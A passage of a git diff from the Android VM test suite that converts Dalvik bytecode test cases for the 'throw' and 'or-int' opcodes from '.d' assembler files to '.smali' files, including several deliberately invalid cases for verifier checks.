+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_12;
+.super Ljava/lang/Object;
+.source "T_opc_throw_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Z
+    .registers 2
+
+    :try_start_0
+    new-instance v0, Ljava/lang/RuntimeException;
+
+    invoke-direct {v0}, Ljava/lang/RuntimeException;-><init>()V
+
+    throw v0
+    :try_end_6
+    .catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_6} :catch_6
+
+    :catch_6
+    const p0, 0x1
+
+    return p0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 2
+
+    :try_start_0
+    invoke-direct {p0}, Ldot/junit/opcodes/opc_throw/d/T_opc_throw_12;->test()Z
+
+    move-result v0
+
+    return v0
+    :try_end_5
+    .catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_5} :catch_5
+
+    :catch_5
+    const v0, 0x0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.d
deleted file mode 100644
index 95c3657..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_2.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-      return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/Throwable
-       invoke-direct {v1}, java/lang/Throwable/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali
new file mode 100644
index 0000000..6e36cbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_2.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+      return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/Throwable;
+       invoke-direct {v1}, Ljava/lang/Throwable;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.d
deleted file mode 100644
index 7ef732a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_3.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       const-wide v1, 314
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali
new file mode 100644
index 0000000..73f05ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_3.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       const-wide v1, 314
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.d
deleted file mode 100644
index ab5d803..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_4.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/4 v1, 0
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali
new file mode 100644
index 0000000..37e27d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_4.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/4 v1, 0
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.d
deleted file mode 100644
index f37a447..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_5.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public declared_synchronized run()V
-.limit regs 6
-
-       new-instance v2, java/lang/Object
-       invoke-direct {v2}, java/lang/Object/<init>()V
-       monitor-enter v2
-       monitor-exit v5
-
-       new-instance v1, java/lang/NullPointerException
-       invoke-direct {v1}, java/lang/NullPointerException/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.smali
new file mode 100644
index 0000000..e1dd325
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_5;
+.super Ljava/lang/Object;
+.source "T_opc_throw_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public declared-synchronized run()V
+    .registers 6
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    new-instance v1, Ljava/lang/NullPointerException;
+
+    invoke-direct {v1}, Ljava/lang/NullPointerException;-><init>()V
+
+    throw v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.d
deleted file mode 100644
index 51ca304..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_6.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/RuntimeException
-       invoke-direct {v1}, java/lang/RuntimeException/<init>()V
-       throw v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali
new file mode 100644
index 0000000..b6d147a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_6.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/RuntimeException;
+       invoke-direct {v1}, Ljava/lang/RuntimeException;-><init>()V
+       throw v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.d
deleted file mode 100644
index bf85401..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_7.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       const v1, 3.14
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.smali
new file mode 100644
index 0000000..608480b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_7;
+.super Ljava/lang/Object;
+.source "T_opc_throw_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 5
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    throw v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.d
deleted file mode 100644
index 8b91411..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_8.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/Error
-       invoke-direct {v1}, java/lang/Error/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali
new file mode 100644
index 0000000..25132b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_8.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/Error;
+       invoke-direct {v1}, Ljava/lang/Error;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.d
deleted file mode 100644
index bac2513..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_1.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali
new file mode 100644
index 0000000..6d61f66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_1.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.d
deleted file mode 100644
index 9afca45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali
new file mode 100644
index 0000000..a5dbcdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.d
deleted file mode 100644
index cc2a413..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_3.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       or-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali
new file mode 100644
index 0000000..16d9252
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_3.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       or-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.d
deleted file mode 100644
index f47f082..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_4.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)I
-.limit regs 8
-
-       or-int v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali
new file mode 100644
index 0000000..67b05c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_4.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 8
+
+       or-int v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.d
deleted file mode 100644
index 65aee2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_5.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali
new file mode 100644
